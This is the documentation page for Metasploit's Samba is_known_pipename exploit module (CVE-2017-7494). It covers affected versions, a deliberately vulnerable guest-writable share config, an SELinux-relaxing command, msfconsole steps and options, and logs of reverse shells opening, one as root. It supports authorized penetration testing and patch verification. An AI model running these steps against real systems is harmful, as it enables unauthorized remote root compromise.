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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/linux/samba/is_known_pipename.md
Views: 11789

Vulnerable Application

This module exploits Samba from versions 3.5.0-4.4.14, 4.5.10, and 4.6.4 by loading a malicious shared library. Samba's download archives are here. There are some requirements for this exploit to be successful:

  1. Valid credentials

  2. Writeable folder in an accessible share

  3. Server-side path of the writeable folder

However, in some cases anonymous access with common filesystem locations can be used to automate exploitation.

A vulnerable Samba config may have a share similar to the following in smb.conf. This is a setup for 'easy' exploitation where no SMB options are required to be set:

[exploitable]
comment = CVE-2017-7494
path = /tmp
writable = yes
browseable = yes
guest ok = yes

Verified on:

  1. Synology DS412+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9)

  2. Synology DS412+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9)

  3. Synology DS1512+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9)

  4. Synology DS1512+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9)

  5. Synology DS2415+ DSM 6.1-15047 (Samba 4.3.11)

  6. Ubuntu 14.04.5 x64 (Samba 4.3.9)

  7. Ubuntu 15.04 (Samba 4.1.13)

  8. Ubuntu 16.04 (Samba 4.3.11)

  9. Fedora 24 (Samba 4.4.13)

Currently not working against:

  1. QNAP NAS Samba 4.4.9 on armv71

  2. WD MyClous NAS Samba 4.0.0rc5 armv71

SELinux

Fedora (and possibly Redhat) are not exploitable in their default installation. SELinux must be adjusted to allow nmbd to use net_admin, and smbd to exec the payload.

echo -ne "type=AVC msg=audit(1495745298.086:334): avc:  denied  { execstack } for  pid=2365 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495717997.099:267): avc:  denied  { net_admin } for  pid=959 comm="nmbd" capability=12  scontext=system_u:system_r:nmbd_t:s0 tcontext=system_u:system_r:nmbd_t:s0 tclass=capability permissive=0\ntype=AVC msg=audit(1495745002.690:308): avc:  denied  { execmem } for  pid=1830 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495745183.319:331): avc:  denied  { execute } for  pid=2313 comm="smbd" path="/tmp/ucFtDpZI.so" dev="tmpfs" ino=27436 scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:object_r:smbd_tmp_t:s0 tclass=file permissive=0" | audit2allow -M cve-2017-7494; semodule -X 300 -i cve-2017-7494.pp

Verification Steps

  1. Start msfconsole

  2. Do: use exploit/linux/samba/is_known_pipename

  3. Do: set rhost [ip]

  4. Do: set target [target #]

  5. Do: exploit

Options

SMB_SHARE_NAME

The name of the SMB share containing a writeable directory. Shares are automatically scanned for, and if this variable is non-blank, it will be preferred.

SMB_SHARE_BASE

The remote filesystem path correlating with the SMB share name. This value is preferred, but other values are brute forced including:

  1. /volume1

  2. /volume2

  3. /volume3

  4. /shared

  5. /mnt

  6. /mnt/usb

  7. /media

  8. /mnt/media

  9. /var/samba

  10. /tmp/home/home/shared

SMB_FOLDER

The directory to use within the writeable SMB share. Writable directories are automatically scanned for, and if this variable is non-blank, it will be preferred.

Scenarios

Synology DS412+ w/ INTEL Atom D2700 on DSM 6.1.1-15101 Update 2

msf exploit(is_known_pipename) > exploit

[*] Started reverse TCP handler on 1.2.3.117:4444
[*] 1.2.3.119:445 - Using location \\1.2.3.119\ESX\ for the path
[*] 1.2.3.119:445 - Payload is stored in //1.2.3.119/ESX/ as eePUbtdw.so
[*] 1.2.3.119:445 - Trying location /volume1/eePUbtdw.so...
[-] 1.2.3.119:445 - Probe: /volume1/eePUbtdw.so: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)
[*] 1.2.3.119:445 - Trying location /volume1/ESX/eePUbtdw.so...
[*] Command shell session 1 opened (1.2.3.117:4444 -> 1.2.3.119:34366) at 2017-05-24 21:12:07 -0400

id
uid=0(root) gid=0(root) groups=0(root),100(users)
uname -a
Linux synologyNAS 3.10.102 #15101 SMP Fri May 5 12:01:38 CST 2017 x86_64 GNU/Linux synology_cedarview_412+

Ubuntu 16.04

msf exploit(is_known_pipename) > exploit

[*] Started reverse TCP handler on 192.168.0.3:4444
[*] 192.168.0.3:445 - Using location \\192.168.0.3\yarp\h for the path
[*] 192.168.0.3:445 - Payload is stored in //192.168.0.3/yarp/h as GTithXJz.so
[*] 192.168.0.3:445 - Trying location /tmp/yarp/h/GTithXJz.so...
[*] Command shell session 6 opened (192.168.0.3:4444 -> 192.168.0.3:45076) at 2017-05-24 19:41:40 -0500

id
uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup)